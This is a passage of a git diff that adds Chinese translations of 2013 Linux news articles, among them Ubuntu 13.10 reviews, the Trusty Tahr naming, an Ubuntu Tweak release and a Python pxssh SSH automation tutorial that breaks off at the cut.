But Is It An Essential Upgrade.md" @@ -0,0 +1,103 @@ +Ubuntu 13.10 发布 - 值得升级吗 ? +=================================== + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-16-at-15.43.jpg) + +**经过6个月紧锣密鼓地开发,‘Saucy Salamander’ 终于发布了。** + +拥有超过两千万的用户基础,Ubuntu的每次更新,无论最终变动的结果多么得琐碎、细小,都能引起关注。这次发布也不例外。 + +但是这次升级是否必不可少的呢? + +阅读我们的观点,或者点击下面的链接获取镜像,自己寻求真相。 + +**下载 Ubuntu 13.10**:[http://releases.ubuntu.com/13.10/][1] + +## “Ubuntu 13.10 令人厌烦的” - 来自互联网 + +我见过许多人,有科技记者、博主,还有评论家,用“令人讨厌的”字眼来形容Ubuntu 13.10。 + +诚然,Saucy Salamander比之先前的版本并没有为桌面用户添加多少新的特色,但是新的版本确实变化了,也改善了,只不过 **大多数** 变动相较而言很小。 + +强调一下这里的‘大多数’。 + +**工具箱花样繁多** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/as2.jpg) +*这些东西究竟有多大用处呢?* + +Unity的新的_搜索建议_功能是新版本中大的亮点。你的每一次搜索,都会把大范围的在线资源的相关信息整合到一起,然后利用语义智能把筛选出来的东西放到Dash中。 + +*Amazon, eBay, Etsy, Wikipedia, Weather Channel, SoundCloud* - 信息来源超过50个网站 + +> ‘…莫名其妙,乱七八糟。’ + +字面上貌似这个功能挺有用的:按下tab键,,你就可以绕过浏览器找到任何你想搜寻的东西,随便一些东西,然后从桌面上就可以浏览结果。 + +事实上,帮助挺少,阻碍倒是不小。那么多的web服务都给一个搜索的关键字条目提供结果 - 无论看起来有多无碍 - 都导致工具箱充斥着莫名其妙、乱七八糟、不相关的东西。 + +> ‘以当前这种形式,该功能还超越不了浏览器体验’ + +也不是没有尝试过结束这种混乱,代之以秩序井然。给查找结果分门别类,比如,购物,音乐,视频。由结果过滤器来控制泛滥的信息。 + +但是,坦白说,以当前这种形式,该功能还超越不了浏览器体验。谷歌就比较聪明,知道自己要找什么,把结果以一种易于浏览,易于过滤的形式呈现出来。 + +Ubuntu开发者称 **搜索结果会变得越来越相关的**,因为该服务可以从用户那里自主学习。让我们拭目以待。 + +**关闭搜索建议功能** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/06/Screen-Shot-2013-06-07-at-12.59.jpg) +*每一个搜索范围都可以单独关闭* + +关闭“搜索建议”功能很简单,听从我的建议,就可以单独关闭给你带来混乱结果的范围。这样你就能够继续使用该功能,同时又过滤掉不相干的东西。 + +## Ubuntu 13.10 桌面 ## + +**键盘指示器** +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/a.jpg) + +无论你需要与否,新的‘键盘指示器’已经添加到Ubuntu中,该功能使得在多种语言之间的切换更容易。 + +可以在Text Entry Settings上面找到该功能入口,关闭它,然后取消紧挨着‘Show Current Input Source in Menu Bar’勾选框。 + +**Ubuntu 登录** +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/08/Screen-Shot-2013-08-29-at-20.56.45-750x594.png) + +登录、注册页面也加到了Ubuntu安装程序里头,安装后就不需要再配置账号了。 + +**性能** + +Unity 7的使用已经远超原先预定的时间(14.04 LTS默认情况下,在4月到期),其中一些急需改进了。 + +我自己并没有切身体验一下,但是那些体验过的人们都注意到该发行版性能有显著提升。 + +Unity工具箱响应灵敏,而Compiz占用资源较少。 + +**应用程序** + +Ubuntu软件中心提供所有你所需要的应用软件,而最新的版Firefox,Thunderbird,LibreOffice以及 +Shotwell都已经预安装好了。 + +Ubuntu仓库也包含一些其他的流行的应用,比如[Geary mail client][2] 和比较受欢迎的图片编辑器 GIMP。 + +最后, [使用Ubuntu默认主题,GTK3 应用看起来好多了][3]. + +## 总结 ## + +> 一个健壮、可靠的发行版,与其说是崭新的开始,不如说是一个脚注。 + +Ubuntu 13.10是一个健壮、可靠的发行版, 巩固了其作为“走出去”的Linux发行版的地位,对新用户和丰富的专业人员均适用。 + +表面上,在Ubuntu的历史中,该发行版更像是一个脚注,而不算是新的篇章。包括永久的Unity桌面在内,许多的细小的、交互式的变动使更新看起来似乎是值得的 - 但是绝不是必不可少的,必须的。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/ubuntu-13-10-review-available-for-download + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +[1]:http://releases.ubuntu.com/13.10/ +[2]:http://www.omgubuntu.co.uk/2013/10/geary-0-4-released-with-new-look-new-features +[3]:http://www.omgubuntu.co.uk/2013/08/ubuntu-themes-fix-coming-to-saucy \ No newline at end of file diff --git a/published/201310/Ubuntu 13.10 Review--A great Linux desktop gets better.md b/published/201310/Ubuntu 13.10 Review--A great Linux desktop gets better.md new file mode 100644 index 0000000000..4c42cec4b6 --- /dev/null +++ b/published/201310/Ubuntu 13.10 Review--A great Linux desktop gets better.md @@ -0,0 +1,104 @@ +Ubuntu 13.10评论:日趋完善,一个伟大的Linux桌面系统 +============================================= + +**摘要:Ubuntu 13.10也许并不是最激动人心的桌面Linux,但它却非常可靠,拥有许多有用的新特性。** + +许多桌面发烧友至今仍然对Ubuntu转用Unity耿耿于怀,另外有些人不喜欢[Ubuntu][2]的母公司[Canonical][1]一意孤行,用Mir代替更主流的Wayland,还有些人不喜欢Ubuntu将本地搜索与Web搜索合并在一起。我想说,那又怎样! + +![](http://cdn-static.zdnet.com/i/r/story/70/00/021825/ubuntu-1310-saucy-salamander-620x349.jpg) +*Ubuntu 13.10即将发布,本文只是预热。* + +让我来告诉你们,什么是事实!回首2011年4月,Ubuntu的创始人Mark Shuttleworth曾经说过,Ubuntu新的发展方向是,“为普通消费者带来[快乐、自由、创新、性能和安全,而这些正是Linux平台中一直所缺少的东西][3]”。如今,他做到了! + +Ubuntu 13.10,代号“俏皮的蝾螈(Saucy Salamander)”,已经进入发布前的最后阶段。的确,Ubuntu也许不是那些每天热衷于编译内核代码的Linux专家们所喜爱的桌面Linux,因为它本就不是为那些人准备的。 + +Ubuntu是一个所有人,甚至[包括我那81岁的老岳母][3-1],都能使用的Linux桌面操作系统。基于这个角度,Ubuntu已经成功了,而下周最终发布的新版本,对于那些仅仅只是想学习使用一台电脑的新人来说,其意义绝不亚于一场胜利。 + +为了目睹新版的Ubuntu是如何做到这一点的,我在两套系统上分别安装运行了beta版和RC版。第一套测试环境是我2007年产的Dell Inspiron 530S,搭载2.2GHz Intel奔腾 E2200双核处理器、4G内存、500GSATA串口硬盘,集成Intel 3100GMA显示芯片组。第二套测试环境是2008年入手的Gateway DX4710,搭载2.5GHz Intel酷睿2四核处理器,6G内存,1T串口硬盘,同样集成了Intel GMA 3100显卡。 + +安装过程小菜一碟。首先说明一下,我并没有尝试在有Windows 8 Secure Boot锁定的系统上安装Ubuntu,如果你想尝试的话,这里有[如何安装Ubuntu与Win8双系统的教程][4],如果是其他使用统一可扩展固件接口(Unified Extensible Firmware Interface - UEFI)的系统,也可以看下这个教程。 + +安装过程中有个不错的新功能,就是安装的同时你可以登录或创建一个免费[Ubuntu One][5]的云端服务账户。Ubuntu One是一款类似Dropbox的存储服务,提供5G免费空间,[商业版费用为39.95美刀][6],提供20G空间和音乐流媒体支持。该服务除了完美集成在Ubuntu系统中,你也可以在Windows、Mac OS、Android和IOS系统中使用它。 + +首先,安装完成后,我注意到的第一件事是,在我这两台老电脑上,Ubuntu 13.10运行非常流畅,就像在顶级配置的电脑上运行一样。(译者表示,这样的配置竟然还叫老电脑,让译者的1G内存情何以堪,你们有考虑过老闪龙的感受吗!)如果你的机子比我的还老,跑Windows 7以上的系统都嫌慢,并且比较在意即将结束的XP官方支持,可以考虑一下Ubuntu,或者其他易于上手的Linux发行版,比如Mint。 + +再来看看核心部分。首先,“俏皮的蝾螈”运行[Linux 3.11 内核][7]。 + +在此基础上,再看看显示引擎,本来大家预测的是Mir,但是PC上的Mir暂时还没有准备好迎来它的黄金时期。内有Ubuntu家族中诸如[Kubuntu][8]的反对,[外有Intel的抵制][9],Mir需要同时面对“内忧外患”。 + +最后的结果就是13.10将仍然默认使用老旧的Xorg-server 1.4.3。如果你富有冒险精神,可以选择尝试一下Mir。如果你想要在智能手机上运行Ubuntu,也就是传说中的[Ubuntu Touch,恰好,你就可以用到Mir][10]。 + +如果你是一个开发者,这是个大问题。但如果只是普通用户,你根本不必在意。例如,Valve公司基于Ubuntu的Steam系统上线后,Ubuntu仍将是最棒的Linux游戏平台。 + +在图形架构之上,Ubuntu搭载的是基于Unity 7接口的GNOME 3.8。最新的[Unity 8][11]强调使用屏幕边缘来控制计算机设备,但Unity 8只将在Ubuntu Touch 13.10中使用,默认并不会加入桌面版的13.10。 + +如果确实不习惯Unity,你也可以方便地在安装时去掉它。或者,你也可以使用其他[Ubuntu家族的Linux发行版][12],例如面向KDE用户的Kubuntu,Cinnamon粉丝喜欢的Mint,又或者专门针对LXDE爱好者的[Lubuntu][13]。搭载Unity的Ubuntu主要为新手用户提供,你完全可以挑选你喜欢的任一款Ubuntu桌面系统。 + +在新版Ubuntu的软件包最终敲定之前,人们都以为它会选用Google的Chrome浏览器的开源版本Chromium。但是最终,它还是选择了Firefox 24作为默认浏览器。 + +![img](http://cdn-static.zdnet.com/i/r/story/70/00/021826/08ubuntu1310-620x.png?hash=ZJDlAzAyMG) + +其他应用程序都将是Ubuntu或Linux桌面用户熟悉的面孔。办公套件为LibreOffice 4.12;邮件客户端为Thunderbird 24;照片编辑有Gimp 2.8.6,默认的音乐播放器为Rhythmbox 2.99.1。 + +对新用户来说,最值得一提的新特性将是[Smart Scopes][14](之前叫做Lens)。Lens最初被提出来的时候,其功能只是根据本地Unity Dash的搜索结果对Amazon的搜索结果进行整合。原本是作为默认功能的,但最终该特性被改为了可选。 + +![img](http://cdn-static.zdnet.com/i/r/story/70/00/021826/05ubuntu1310-620x.png?hash=ZmN2LJMwLG) + +在Ubuntu 13.10中,当你使用Unity Dash搜索时,不但可以使用Amazon,还可以选择Facebook、Google、Yelp以及其他多个在线Web页面。 + +它是如何工作的呢?当你在Unity Dash中输入一个搜索条目时,Ubuntu会尝试猜测最佳匹配项。例如,如果我搜索“最炫民族风”,它除了在我的电脑中搜索,还会在Web的音乐分类下进行搜索。 + +其中每个分类都有多个源或scopes,例如选择“参考”分类,会自动对应[维基百科][15]、在线词典[Wordnik][16]和[Zotero][17](一个Linux下的类似笔记管理软件)这三个源。 + +担心基于Web的搜索会泄露个人隐私?Ubuntu已经通过匿名搜索和匿名结果解决了这一问题。 + +如果说你仍然不想从桌面直接进行Web搜索,别担心,你可以在“设置/安全与隐私/搜索”中将它们全部关闭。或者,我建议通过以下步骤,只使用你信任的搜索引擎: + +- 打开应用程序源(屌丝青年可以使用快捷键,Win键+A) +- 往下“滚”,一直滚到Dash插件 +- 选择“See X more results.” +- 选择你想要禁止的源 +- 点击“Disable” + +坦白讲,经过一些修改,我很喜欢这个新功能,当然,Ubuntu 13.10的其他部分我也很喜欢。 + +经过几个星期的试用,Ubuntu 13.10一直运行良好。对我来说,它是一个流畅、安全、使用方便的桌面Linux。 + +尽管Unity不太合我个人的胃口,但我仍然认为,Shuttleworth已经成功地打造了一款所有人都可以使用的Linux桌面系统。不相信我?自己下载[俏皮的蝾螈][18]试试看吧~ + +-------------------------------------------------------------------------------- + +![](http://cdn-static.zdnet.com/i/r/author/steven-j-vaughan-nichols-140x105.jpg) + +**About Steven J. Vaughan-Nichols** +文章作者简介: + +**Steven J. Vaughan-Nichols**,亦称sjvn,早在上世纪80年代,CP/M-80还是最前沿操作系统的时候,就开始撰写技术及商业文章。范围涵盖网络、Linux、开源以及操作系统。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/ubuntu-13-10-review-a-great-linux-desktop-gets-better-7000021825/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[小眼儿](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.canonical.com/ +[2]:http://www.ubuntu.com/ +[3]:http://www.markshuttleworth.com/archives/671 +[3-1]:http://www.zdnet.com/blog/open-source/if-my-mother-in-law-can-use-ubuntu-linux-anyone-can/10802 +[4]:https://help.ubuntu.com/community/UEFI +[5]:https://one.ubuntu.com/ +[6]:https://one.ubuntu.com/services +[7]:https://www.google.com/search?q=site:www.zdnet.com+Linuix+3.11 +[8]:http://www.kubuntu.org/ +[9]:http://cgit.freedesktop.org/xorg/driver/xf86-video-intel/commit/?id=58a7611 +[10]:https://wiki.ubuntu.com/Mir/13.10/NoDefaultQ%26A +[11]:http://www.jonobacon.org/2013/08/27/ubuntu-in-a-nutshell-unity-and-convergence/ +[12]:http://www.ubuntu.com/about/about-ubuntu/derivatives +[13]:https://wiki.ubuntu.com/Lubuntu +[14]:http://askubuntu.com/questions/310660/what-are-smart-scopes +[15]:http://www.wikipedia.org/ +[16]:http://www.wordnik.com/ +[17]:http://www.zotero.org/ +[18]:http://releases.ubuntu.com/saucy diff --git "a/published/201310/Ubuntu 14.04 LTS Named \342\200\230Trusty Tahr\342\200\231.md" "b/published/201310/Ubuntu 14.04 LTS Named \342\200\230Trusty Tahr\342\200\231.md" new file mode 100644 index 0000000000..d858e7a8bd --- /dev/null +++ "b/published/201310/Ubuntu 14.04 LTS Named \342\200\230Trusty Tahr\342\200\231.md" @@ -0,0 +1,21 @@ +Ubuntu 14.04 LTS命名为“可靠的塔尔羊(Trusty Tahr)” +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Stuffed_Arabian_Tahr-750x5243.jpg) + +**妙趣横生的名称评选已经结束:Ubuntu 14.04 LTS的吉祥物最终敲定 —— “可靠的塔尔羊”(Trusty Tahr)。** + +有人可能会问,“*塔尔羊是个什么……羊?*”万能的Google说,它是一种类似山羊的哺乳动物,分布于阿曼、印度以及喜马拉雅山脉地区。 + +Ubuntu创始人[Shuttleworth说][1]:这样一种“脚踏实地”的动物恰恰反应出Ubuntu 14.04 LTS的目标,构筑稳健的桌面环境,正如Ubuntu一直以来专注的“*……性能、精益求精、易于维护以及技术至上。*” + +Ubuntu 14.04 LTS服务器版和桌面版计划于2014年4月份发布。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/ubuntu-14-04-lts-named-trusty-tahr + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.markshuttleworth.com/archives/1295 \ No newline at end of file diff --git a/published/201310/Ubuntu Desktop Guide updated for Saucy in Ubuntu 13.10.md b/published/201310/Ubuntu Desktop Guide updated for Saucy in Ubuntu 13.10.md new file mode 100644 index 0000000000..3afb4cc926 --- /dev/null +++ b/published/201310/Ubuntu Desktop Guide updated for Saucy in Ubuntu 13.10.md @@ -0,0 +1,20 @@ +Ubuntu 13.10: 绚丽的桌面指引 +========================= + +每版的Ubuntu都默认包含了桌面指引和帮助文档来帮助用户快捷地熟悉相关特性和功能。 + +基本上,**Ubuntu桌面指引** 都是通过用户点击下一步的方式将信息分类展现给用户的,同时也允许用户点击一键跳过的方式来快速领会指引信息。比如,在引导界面展示给用户的时候,用户可以发现一些可点击的链接(比如,“Ubuntu13.10有哪些新特性?”,“声音、视频和图像”,“文件、文件夹和搜索”),点击相应的链接时,引导界面就会出现你想看到的信息,这些信息中也会有其他的一些链接。 + +在Ubuntu 13.10“调皮的蝾螈”里,原有的Raring式的指引会被升级为新的Ubuntu桌面指引。 + +![](http://iloveubuntu.net/pictures_me/Ubuntu%20Desktop%20Guide%2013.10%20updated.png) + +桌面导航启动后,一些详细的信息会在如图所示界面中展示给用户,比如,“Ubuntu13.10有哪些新特性?”,可以让新手更好的了解强大的Ubuntu13.10系统。 + +--------- + +via: http://iloveubuntu.net/ubuntu-desktop-guide-updated-saucy-ubuntu-1310 + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Timeszoro](https://github.com/Timeszoro) 校对:[jasminepeng](https://github.com/jasminepeng) diff --git a/published/201310/Ubuntu Touch--Ubuntu OS for Smartphone is Almost Ready.md b/published/201310/Ubuntu Touch--Ubuntu OS for Smartphone is Almost Ready.md new file mode 100644 index 0000000000..bb68e676ee --- /dev/null +++ b/published/201310/Ubuntu Touch--Ubuntu OS for Smartphone is Almost Ready.md @@ -0,0 +1,22 @@ +Ubuntu Touch: Ubuntu智能手机OS已准备就绪 +=================================== + +Ubuntu Touch 操作系统将可以在Galaxy Nexus,Nexus 4,Nexus 7和Nexus 10这些支持设备上正常使用。其预定于10月17日发布。 + +一位Canonical员工在他的博客中写到: + +> “截至今日,正好是我们发布Saucy Salamand(13.04)整一个月。作为那次发行版的一部分,Ubuntu将要发布的ubuntu-touch镜像文件可以安装在所支持的设备上。如果你有一款支持的设备,我鼓励你加入这次体验,你想要了解的一切都可以在它的wiki中找到。你需要一个nexus设备并且需要花点时间下载最新的镜像。如果你发现漏洞,请及时报告,wiki中有帮助链接。” + +你有nexus设备吗?如果有的话,那么你将成为助力Ubuntu touch成为最好操作系统的最佳人选。即使你没有nexus设备,你仍可以通过创建漏洞修复的自动化测试来提供自己的帮助,作出自己的贡献,使漏洞不再出现。分享就是一种关怀,这是使世界更加美好的唯一途径。 + +Nicholas Skaggs也写道,QA团队致力于测试每一个稳定发行版,对新功能和特定的软件包集合进行深入测试。你可以在这里阅读更多邮件内容。 + +Ubuntu已经发布了他自己的显示服务器——Mir——它将替换古典而运行缓慢的X-Window。此外Canonical 也扩展了Ubuntu dash search,让用户可以在本地搜索Facebook、Yelp、Google Drive及其他几十种服务。 + +--- + +via: http://www.unixmen.com/ubuntu-touch-ubuntu-os-smartphone-almost-ready/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[carolinewuyan](https://github.com/carolinewuyan) diff --git a/published/201310/Ubuntu Tweak 0.8.6 released with Ubuntu 13.10 support and improvements.md b/published/201310/Ubuntu Tweak 0.8.6 released with Ubuntu 13.10 support and improvements.md new file mode 100644 index 0000000000..ea0585e264 --- /dev/null +++ b/published/201310/Ubuntu Tweak 0.8.6 released with Ubuntu 13.10 support and improvements.md @@ -0,0 +1,36 @@ +Ubuntu Tweak 0.8.6 发布,支持Ubuntu 13.10并有大量改进 +================================================= + +Ubuntu Tweak 是一个强力的,先进的配置工具,配置了大量的功能和可修改的选项,通过一个简洁明了的界面就可以对桌面系统做深度的调整。 + +无论是修改字体大小,GTK+主题,Unity launcher,侧边栏启动列表甚至是屏蔽某些内核选项,都包含在Ubuntu Tweak的众多能力中,它的使用范围覆盖了整个强大的Utuntu桌面环境。 + +[Ubuntu Tweak][1] **0.8.6** 已经 [发布][2], 支持了Ubuntu **13.10** , 因此,可以让用户在即将到来的Utuntu 13.10应用这个方便给力的应用程序。 + +这个新版本 0.8.6,改进了对旧内核的处理(可以更精准地从用户的系统中移除多余的旧内核),以及禁用`应用中心`和`资源中心`;选中`Ubuntu Tweak-->Admins`选项卡就可以注意到`应用中心`和`资源中心`被移去了。 + +以上提及到的特征,已经随着修复bug和移除错误,成为新版本Utuntu Tweak 的一部分了。 + +![](http://iloveubuntu.net/pictures_me/ubuntu%20tweak%20086%20saucy.png) + + +我们怎么**安装**Ubuntu Tweak 0.8.6呢? + +添加下面的**官方**的PPA 并安装(Ubuntu 12.04, Ubuntu 12.10, Ubuntu 13.04, Ubuntu 13.10): + + sudo add-apt-repository ppa:tualatrix/ppa + sudo apt-get update + sudo apt-get install ubuntu-tweak + + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/ubuntu-tweak-086-released-ubuntu-1310-support-and-improvements + +译者:[Vic___](https://github.com/Vic020) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:https://launchpad.net/ubuntu-tweak +[2]:http://blog.ubuntu-tweak.com/2013/10/13/ubuntu-tweak-0-8-6-released-for-13-10-saucy.html \ No newline at end of file diff --git a/published/201310/Ubuntu extends its Windows Azure availability with full Juju support.md b/published/201310/Ubuntu extends its Windows Azure availability with full Juju support.md new file mode 100644 index 0000000000..7b74ba4a9d --- /dev/null +++ b/published/201310/Ubuntu extends its Windows Azure availability with full Juju support.md @@ -0,0 +1,34 @@ +Juju全面支持,Ubuntu扩展了其Windows Azure的可用性 +============================================ + +除了功能强大的桌面操作系统,Canonical公司也在云服务方面发力甚多,并开发了创新的技术,增加了众多的新的云计算产品。 + +[Juju][1] 是Ubuntu的一项先进技术,搭配了Juju charms和用户友好的Juju GUI,Juju允许公司、开发团队和用户对云端的服务进行部署、管理、配置和维护。 + +日前,Canonical公司[宣布][2]Juju已全面支持在[Windows Azure][3]上部署服务了,这一举措扩展了新的云技术的可用性,因此,满足了越来越多生成丰富的云服务的需求。“今天,Canonical宣布Juju(与微软合作)全面支持使用Ubuntu在Windows Azure上部署服务。这意味着Ubuntu用户可以用拥有直观GUI的Juju去设计复杂的应用程序架构并即时地部署到Windows Azure上” + +由于支持了Azure,可以把100多个 **Juju charms** (有用的服务)方便部署到Windows Azure的Ubuntu服务器中。 + +![](http://iloveubuntu.net/pictures_me/juju%20windows%20azure.png) + +因此,现在可以得到已经认证支持Azure的各个Ubuntu发行版的镜像。 + +“Juju能支持Windows Azure是一个重要的里程碑,因为它实现了我们的承诺:向广大云服务供应商提供方便使用并且可移植的应用程序。能够不考虑部署目标而使用同样的工具和方法设计和部署服务这是弥足可贵的。同样,能够在几分钟内获得一整套的应用程序并在另一块云上复制出完全相同的设置,这对云用户来说是一个不二之选。” + +--- + +via: http://iloveubuntu.net/ubuntu-extends-its-windows-azure-availability-full-juju-support + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[晨光][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[晨光]:http://linux.cn/space/14800 +[Caroline]:http://linux.cn/space/14763 + +[1]:https://juju.ubuntu.com/ +[2]:http://insights.ubuntu.com/news/press-releases/ubuntu-on-windows-azure-gets-the-juju-magic/ +[3]:http://www.windowsazure.com/ +[4]:http://www.windowsazure.com/en-us/manage/linux/other-resources/endorsed-distributions/ diff --git a/published/201310/Ubuntu-13-10-vs-Ubuntu-13-04-Reasons-to-Upgrade.md b/published/201310/Ubuntu-13-10-vs-Ubuntu-13-04-Reasons-to-Upgrade.md new file mode 100644 index 0000000000..5428b181eb --- /dev/null +++ b/published/201310/Ubuntu-13-10-vs-Ubuntu-13-04-Reasons-to-Upgrade.md @@ -0,0 +1,37 @@ +Ubuntu 13.10 之于 Ubuntu 13.04,给我一个升级的理由 +============================================== + +**Ubuntu 13.10(Saucy Salamander)** 将于10月17日发布,但是这个由Canonical开发的操作系统的用户就有疑问了,新的版本似乎并没有添加多少新的特性,有鉴于此,为什么他们要更新呢? + +![img](http://i1-news.softpedia-static.com/images/news2/Ubuntu-13-10-vs-Ubuntu-13-04-Reasons-to-Upgrade-389846-2.jpg) + +Canonical的主要精力花费在提升品质和改进已有的功能上,而不是巨大的变化。这就意味这最近的两个版本不会有很大的不同,至少在表面上看起来是这样的。 + +Ubuntu 13.04(Raring Ringtail),相较而言,令人乏味,但是人们并没有意识到Ubuntu每一次发布的背后都意味着需要完成大量的工作,即使初看起来没有太大的变动。 + +那么,对于普通用户来说如果新的版本并没有显著的变更,为什么还要升级到 Ubuntu 13.10呢?事实上,初看起来似乎几乎没什么变化,然而许多东西已经升级改善,总会变得更好的(多数情况下是这样)。 + +当然,最重要的一点,这次的发布所带的新的linux内核3.11.x,是目前为止最新的稳定版本。新内核版本支持更多的设备和硬件组件,更好的电源管理性能,还有很多很多其他方面的改善。 + +另外,GNOME也升级了。Canonical支持Unity桌面环境,但是仍然使用许多GNOME的软件包。Ubuntu 13.10 (Saucy Salamander) 自带有来自3.8 分支的应用,这些应用都非常棒,对偏好Ubuntu GNOME的用户来说尤其如此。 + +相对于之前的Lens功能,Smart Scopes仍然有大的改善:更好的集成并且提供更多的定向解答。 + +安全性设置全面更新了,现在用户可以对系统产生的流量有更多的控制。用户可以停止自己的PC或者laptop和Canonical服务器之间的通信。 + +Ubuntu 13.10 也为新的软件包格式奠定了基础。迄今,所有Ubuntu应用都是以deb格式提供的。不过用户需要事先安装相关依赖项,或者用户选择自己单独安装。 + +而使用新的Click包类型,所有的依赖项都可以在包本身内部获得,这就意味着, 只要应用开发者使用的是ubuntu SDK, 用户就不会再碰到任何与当前使用版本不兼容的软件包。 + +最后,Unity进行了大量改进,理应比任何以前的ubuntu版本工作得更出色。 + +如果这些缘由仍然不足以说服你升级ubuntu,那就只有等待Ubuntu 14.04 LTS的发行了。不过不保证新的版本会看起来跟Ubuntu 13.10有多么大的不同。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-13-10-vs-Ubuntu-13-04-Reasons-to-Upgrade-389846.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + diff --git a/published/201310/Unity 8 updated with interesting refinements.md b/published/201310/Unity 8 updated with interesting refinements.md new file mode 100644 index 0000000000..c4cb61c2b1 --- /dev/null +++ b/published/201310/Unity 8 updated with interesting refinements.md @@ -0,0 +1,32 @@ +更新了有趣细节的 Unity 8 +=================== + +作为下一代 Unity 的 [Unity 8][1],其目标是在发展理念上与 Ubuntu 设备桌面系统趋于一致。Unity 8 旨在手机、平板,及电脑设备上展现其独到的审美、强大的功能和专业的设计。 + +Unity 8 已经更新了又一个重要的 release 版本,在这一新版本中,Unity的基本元素经过优化处理后,显得更加清新和自然了。 + +几周前,Unity 8 在 Video 域中支持了旋转效果,随后,旋转效果又加入到了 Music 域中。简单来说,在 Videos 域和 Music 域中,Unity 8 使用精心设计的 coverflow 效果来呈现和组织内容。 + +最新版本的 Unity 8 在 Music 域中为 **coverflow** 效果增加了不少细节,使用巧妙精致的形状渲染音乐的封面(音乐曲目的大号缩略图)。 + +打开 Music 域,映入眼帘的是循环铺展着的唱片封面,通过使用新的外观(增加了宽度并且减少了高度),使得封面看起来更接近于方形。这样修改的效果是,封面显得更加精致典雅,散发出了一种风格和品质。此外,封面的风格看起来更加一致,例如与相簿的缩略图具有一样的外观和感觉。 + +![](http://iloveubuntu.net/pictures_me/unity%208%20new%20covers%20square.png) + +Unity 8 自带了多个搜索框,搜索框支持显示 **动态指示** 。当您在搜索框中输入一个单词时,您可以看到一个色泽鲜艳的圆圈在不停旋转,这代表正在搜索中。 + +![](http://iloveubuntu.net/pictures_me/unity%208%20activity%20indicator.png) + +在 Ubuntu 13.10 的软件中心,您可以[下载][2] Unity 8 的测试版。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/unity-8-updated-interesting-refinements + +译者:[will.qian](https://github.com/willqian) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:https://launchpad.net/unity8 +[2]:apt://unity8 diff --git a/published/201310/Use Python To SSH To Your Machine.md b/published/201310/Use Python To SSH To Your Machine.md new file mode 100644 index 0000000000..098170873d --- /dev/null +++ b/published/201310/Use Python To SSH To Your Machine.md @@ -0,0 +1,52 @@ +用Python来SSH连接到你的机器 +======================= + +是时间写点python代码了。我爱自动化的东西,今天我将告诉大家怎么**使用python通过ssh**连接你的机器,并在上面运行命令。这并不难,但是用python来做也不是很简单,因为要用很多模块和库来完成这个任务。 你是不是很好奇本教程将会使用什么模块呢? + +我们将使用Python中 pexpect 模块的 pxssh 类,它用于处理一些自动化的需求,比如ssh和ftp。想使你的系统管理生活尽可能的简单吗?那么,请关注本教程并且尝试尽可能多的学习吧。OK,OK,看我这里,下面我将给出关于pxssh的一些简单的描述。你也可以在python的交互shell导入pxssh 后,键入help(pxssh)以得到更多关于pxssh的信息。 + +###pxssh介绍 + +pxssh 基于pexpect。它是pexpect.spawn的扩展类,专门用来建立SSH连接。我经常使用python的pxssh进行ssh连接。 pxssh 使用shell提示符从远程主机来同步输出。为了使这更牛x,它把shell提示符设置的比$或#还独特。这应该可以在大多数Borne/bash或csh shell上工作。 + +你可以在[这里][1]看到更多关于pxssh。 + +现在开始吧。 + +第一步,我们导入所有需要的东西,并且给机器详情分配变量,就像图解1. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/ssh1.png) + +图解 1 + +之后我们创建一个函数,使用pxssh创建并开始一个到ssh服务器的连接。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/ssh2.png) + +图解 2 + +请仔细学习我们是是怎么用try和except来处理错误的.在这里可以阅读更多关于python的错误处理. + +下一步是什么? + +下一步是在两个机器间的ssh连接建立之后,创建一个函数来给机器发送命令. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/ssh3.png) + +图解 3 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/ssh4.png) + +图解 4 + +关闭文件并保存它. 现在它已经准备好可以运行了. + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/use-python-ssh-machine/ + +本文由 